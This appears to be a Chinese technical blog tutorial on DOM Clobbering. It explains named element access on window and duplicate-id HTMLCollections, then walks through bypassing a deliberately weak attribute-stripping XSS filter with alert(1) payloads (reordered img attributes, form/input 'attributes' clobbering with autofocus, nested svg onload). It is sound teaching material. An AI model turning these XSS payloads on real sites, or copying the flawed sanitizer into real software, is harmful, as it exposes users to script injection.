DOM Clobbering的原理及应用

DOM Clobbering的原理及应用

假设有一段代码,有一个按钮以及一段 js 脚本,如下所示:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>

<body>
  <button id="btn">click me</button>
  <script>
    // TODO: add click event listener to button
  </script>
</body>
</html>

现在请你用最短的代码,实现出点击按钮时会跳出 alert(1)这个功能。

可以这样写:

document.getElementById('btn')
  .addEventListener('click', () => {
    alert(1)
  })

那如果要让代码最短,你的答案会是什么?

0x02 DOM 与 window 的量子纠缠

你知道 DOM 里面的东西,有可能影响到 window 吗?

就是你在 HTML 里面设定一个有 id 的元素之后,在 JS 中就可以直接操作:

<button id="btn">click me</button>
<script>
  console.log(window.btn) // <button id="btn">click me</button>
</script>

由于 JS 的作用域规则,你就算直接用 btn 也可以,因为在当前的作用域找不到时就会往上找,一路找到 window

所以前面那道题的答案是:

btn.onclick = () => alert(1)

不需要 getElementById,也不需要 querySelector,只要直接用与 id 同名的变量去拿,就能得到。
在这里插入图片描述

而这个行为在 HTML 的说明文档中是有明确定义的,在 7.3.3 Named access on the Window object

节选两个重点:

  1. the value of the name content attribute for all embed, form, img, and object elements that have a non-empty name content attribute
  2. the value of the id content attribute for all HTML elements that have a non-empty id content attribute

也就是说除了 id 可以直接用 window 存取,embed, form, imgobject 这四个标签用 name 也可以操作:

<embed name="a"></embed>
<form name="b"></form>
<img name="c" />
<object name="d"></object>

但是知道这个有什么用呢?有,理解这个规则之后,可以得出一个结论:

我们是有机会通过 HTML 元素来影响 JS 的!

而把这个手法用在攻击上,就是标题的 DOM Clobbering。以前是因为这个攻击手段才第一次知道 clobbering 这个单词的,查了一下发现在计算机专业领域中有覆盖的意思,就是通过 DOM 把一些东西覆盖掉来达到攻击的手段。

为了进一步分析 DOM Clobbering,假设我们有以下 JavaScript 代码
if (window.test1.test2) {
    eval(''+window.test1.test2)
}

如果我们想利用Dom Clobbering技巧来执行任意的js,需要解决两个问题

1)利用html标签的属性id,很容易在window对象上创建任意的属性,但是我们能在新对象上创建新属性吗?

2)怎么控制DOM elements被强制转为string之后的值,大多数的dom节点被转为string后是[object HTMLInputElement]。

让我们从第一个问题开始。最常引用的解决方法是使用<form>标签。标记的每个<input>都属于<form>后代,该属性<form>引用name属性可以取到<input>。考虑以下示例:

<form id=test1>
  <input name=test2>
</form>
<script>
  alert(test1.test2); // alerts "[object HTMLInputElement]"
</script>

为了解决第二个问题,我创建了一个简短的 JS 代码,它遍历 HTML 中所有可能的元素并检查它们的toString方法是否继承自Object.prototype或以另一种方式定义。如果它们不继承自Object.prototype,那么可能[object SomeElement]会返回其他东西。

Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)

代码返回两个元素:HTMLAreaElement<area>)和HTMLAnchorElement<a>)。在<a>元素的情况下,toString只返回一个href属性值。考虑这个例子:

<a id=test1 href=https://securitum.com>
<script>
  alert(test1); // alerts "https://securitum.com"
</script>

此时,似乎如果我们要解决原来的问题(即window.test1.test2通过 DOM Clobbering攻击),我们需要类似于以下的代码:

<form id=test1>
  <a name=test2 href="x:alert(1)"></a>
</form>

问题是它根本不起作用;test1.test2undefined。虽然<input>元素确实成为 的属性<form>,但同样的情况不适合`。

不过,这个问题有一个有趣的解决方案,它适用于基于 WebKit 和 Blink 的浏览器。假设我们有两个相同的元素id

<a id=test1>click!</a>
<a id=test1>click2!</a>

那么我们在访问时会得到什么window.test1?直觉希望获得具有该 id 的第一个元素。然而,在 Chromium 中,我们实际上得到了一个HTMLCollection!

这里特别有趣,我们可以HTMLCollection通过 index(01示例中)以及 访问其中的特定元素id。这意味着window.test1.test1实际上是指第一个元素。事实证明,设置name属性也会在HTMLCollection. 所以现在我们有以下代码:

<a id=test1>click!</a>
<a id=test1 name=test2>click2!</a>

我们可以通过name访问第二个awindow.test1.test2

因此,回到eval(''+window.test1.test2)通过 DOM Clobbering进行利用的原始练习,解决方案是

<a id="test1"></a><a id="test1" name="test2" href="x:alert(1)"></a>

ok 至此,前面基础知识铺垫完毕,我们继续看这道题

这道题是一个为了防御xss攻击写的函数,但我们可以通过上述所学的DOM Clobbering进行绕过。

<script>
     //http://127.0.0.1/domfilter/demo6.html#<img src=1 οnerrοr=alert(1)>
     const data = decodeURIComponent(location.hash.substr(1));
     const root = document.createElement('div');
     root.innerHTML = data;

     //这里模拟了XSS过滤的过程,方法是移除所有属性
     for (let el of root.querySelectorAll('*')) {
         for (let attr of el.attributes) {
             el.removeAttribute(attr.name);
         }
     }
     document.body.appendChild(root); 
</script>

代码分析:首先截取#号后面的值,然后创建一个div,然后将#号后面的值都赋值给div,然后使用querySelectorAll选取div下所有的子元素;然后获取子元素的属性,并将属性全部删除。输入格式为第一条注释。

输入xss代码进行测试<img onerror=alert(1)>

在这里插入图片描述
我们发现输入的src被删除了,但是也没有出现弹窗。根据我们所写的防御代码,理论上应该所有的元素都要删除。但是为什么这里没有全部删除呢?

这里就涉及到一个开发的知识了,以这个python代码为例

a = [6, 5, 4, 3, 2, 1, 0]
index = 0

for i in a:
    print('a['+str(index)+'] = '+str(a[index])+':', a, end='')
    print(max(a), end=' = ')
    a.remove(max(a))
    print(a, end=' --> ')
    index = index + 1
    print('a[0]='+str(a[0]))

运行结果为:

a[0] = 6: [6, 5, 4, 3, 2, 1, 0]-6 = [5, 4, 3, 2, 1, 0] --> a[0]=5
a[1] = 4: [5, 4, 3, 2, 1, 0]-5 = [4, 3, 2, 1, 0] --> a[0]=4
a[2] = 2: [4, 3, 2, 1, 0]-4 = [3, 2, 1, 0] --> a[0]=3
a[3] = 0: [3, 2, 1, 0]-3 = [2, 1, 0] --> a[0]=2

通过观察运行结果,我们发现实际的运行结果与理想的结果出现了差别,理想中的结果应该是将a列表中的所有数据都删除,但是实际的运行结果是并没有都删除,还剩下一部分列表[2, 1, 0]。

产生原因:

  1. 当第一次循环时,参数i从列表a中获取索引为0的数据,即i = a[0] = 6 ,i获取到了6这个参数,然后发现列表中最大的值就是6,下一步便是将6这个参数从a列表中移除,此时a[0]对应的数据变成了5,完成了第一次循环
  2. 进行第二次循环,此时的索引在0的基础上加1变成了索引1,对应的数据为a[1] =4,此时再次从a列表中查找最大值,发现最大值为5,然后便是将5移除a列表,此时a列表中a[0]对应的数据变成了4,即a[0] = 4,完成了第二次循环
  3. 进行第三次循环,索引在原有的基础上再次加1,此时的索引变成了2,此时a[2] =2,再次从a列表中查找最大值,发现最大值为4,然后便是将4移除a列表,a[0]再次发生变化,a[0] = 3,完成第三次循环
  4. 进行第四次循环,索引再次加1变成了3,此时a[3] = 0,已经到了a列表的最后一位,这是最后一次循环了,再次从a列表中查找最大值,发现最大值为3,然后便是将3移除a列表,a[0]再次发生变化,a[0]= 2,完成第四次循环

通过上面的步骤分析不难发现,因为索引每次循环都会在原有的基础上加1,并且因为删除了最大值的原因,索引中会自动填补删除掉的那个最大值所在索引的空缺,由最大值后面的那个值依次进行填补,造成索引一直在增加,但是索引的总数确实一直在减少。

通过在浏览器中的调试中也可以查看我们所得的结论,如图所示逐步往下走。
在这里插入图片描述
然后我们就接着往下走。然后可以看到el获取的值是img,也就说说它已经成功获得到了这个标签。
在这里插入图片描述
然后接着继续走;然后attr获取到了第一个元素:src,之后,它执行了下面的移除操作。
在这里插入图片描述
接下来按照预期应该是回到标签内继续匹配元素onerror然后进行删除,但是当继续下一步的时候,attr取到的值是空的,就直接跳出循环,直接结束。
在这里插入图片描述
在这里插入图片描述
根据我们之前所说的在进行循环的过程中,attr首先匹配到的是src元素,然后在循环过后直接删除,删除了之后,剩余的哪个onerror自动往前移动,onerror替代了src排的第一个的位置,它就变成了第一个,但是在刚刚循环的时候,已经把第一个给循环了,要去循环下一个的时候它没有了,所以循环结束了。

绕过方法
所以知道这个原理后,我们就可以将输入的元素打乱,因为他会删除固定位置的元素,所以我们让他删除后所剩下的是我们所需要的就可以了。
将src元素写到第2位,函数在删除第一位的时候它变成第一位就会保留了,然后将onerror保存到第四位,那样在删除第一位后,原来的第三位变成了第二位,第四位就变成了第三位,第二位运行完后被删除,最开使的第四位就变成了第2位,但是我们已经执行完第二位了,所以后面就没有了,就跳出了循环。

payload为:

<img aaa='111' src='222' bbb='333' onerror='alert(1)'>

在这里插入图片描述
成功弹窗

改进过滤该如何绕过

上述代码因为只使用了一个for循环导致出现了无法实现所有数据删除。所以我们将上述代码进行改进,使用两个for循环将循环和删除操作分开运行。就可以实现所有元素删除了,代码如下。

const data = decodeURIComponent(location.hash.substr(1));;
    const root = document.createElement('div');
    root.innerHTML = data;
   
    // 这里模拟了XSS过滤的过程,方法是移除所有属性,sanitizer
    for (let el of root.querySelectorAll('*')) {
     let attrs = [];
     for (let attr of el.attributes) {
      attrs.push(attr.name);
     }
     for (let name of attrs) {
      el.removeAttribute(name);
     }
    }    
     document.body.appendChild(root); 

在这里插入图片描述
进行测试后,将我们输入的数据只剩一个img标签。那这种情况该怎么绕过呢。我提供两种绕过思路。

  1. 代码进入循环只删除无用数据
  2. 代码不进入循环直接执行恶意代码

1.代码进入循环但不删除数据

这种方式就可以使用到刚开始讲的那个DOM破坏的方式来进行。
el执行的是attr,如果有一个元素可以劫持这个,那么删除的就不是atr而是里面的一个子元素。
现测试一个例子:

<body>
 <form id="x"action="">
        <img name="attributes">
 </form>
</body>
<script>
	console.log(window.x.attributes)
</script>

根据上述内容,我们可以知道通过id我们可以打印出整个标签,也就是说,这里的x是上面的el;插入一个form之后,这个el就相当于是等于这个form的,而那个el.attributes相当于是哪个img。也就是让img进入循环,而在form中进行触发,这样就实现了进入循环,但是删除的是无用的标签。
所以可以使用刚才的方法测试:
<form%20action=""><img%20id=attributes></form>
但是它的结果显示是:el.attributes不是一个可迭代器,

在这里插入图片描述
可迭代对象有一个特征就是for循环,现在进入的只有一个元素,他是循环不了的,所以我们需要将他组成数组或者集合,
而刚刚我们刚刚正好说了,如过id的值是相同的话会组成一个集合,而这个就刚好满足了刚刚咱们所需要的。所以它就可以写成下面的形式:

<form id="x"action="">
        <img name="attributes">
        <img name="attributes">
 </form>

这样的话,img标签就进入了循环删除,这样的话我们form里面还缺少一个触发的属性,而onfocus属性正好可以自动触发,但是它不是form属性,而是input下面。我们也可以将img换成input,这样也可以满足name相同的时候会变成一个集合。

这个解决之后还需要自动聚焦,这个时候就需要一个自动聚焦的属性。

tabindex:全局属性,以及它是否(在何处)参与顺序键盘导航。

加上tabindex属性的话就可以把焦点聚集在input上,否则onfoucus是没有办法实现的。
所以这样的话:我们就可以进行尝试:

<form tabindex=1 onfocus="alert(1)" autofocus="true"><input name=attributes><input name=attributes></form>

这种是成功跳出弹窗的,但是因为这个是自动将你的鼠标自动对焦,所以会一直进行弹窗,所以我们可以在它执行成功一次之后将他移除。

payload为:

<form tabindex=1 onfocus="alert(1);this.removeAttribute('onfocus');" autofocus="true"><input name=attributes><input name=attributes></form>

在这里插入图片描述
成功弹窗

2. 代码不进入循环直接执行恶意代码

这里使用的是两个svg标签,也就是使用<svg><svg οnlοad=alert(1)>来尽行绕过,它可以在过滤代码之前进行绕过,也就是说,它在代码的root.innerHTML = data;就已经执行了。
在这里插入图片描述
要解释这个的话首先要了解以下浏览器的渲染过程。
也就是在DOM树构建完成之后,会触发DOMContentLoaded事件,接着就会加载脚本或者图片,然后执行全部加载完成后会触发load事件。

使用img标签失败的原因是:它是先循环过滤了才可以进行弹窗,但是经过过滤后子元素就被过滤掉了。也就是说js阻塞了DOM树的构建;也可以说在script标签内的JS执行完毕以后,DOM树才会构建完成。

但是我们对svg进行断点测试发现
第一步:我们会发现他会先直接执行alert(1),再执行我们的过滤函数操作
在这里插入图片描述
在这里插入图片描述
这样的话,它没有进入到循环删除就已经可以进行弹窗。接着往下走的话的话即便被删它也已经执行过了,所以也没有必要了。
也就是说,这种嵌套的svg成功的原因是因为当页面为root.innerHtml赋值的时候浏览器进入DOM树构建过程;在这个过程中会触发非最外层svg标签的load事件,最终成功执行代码。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值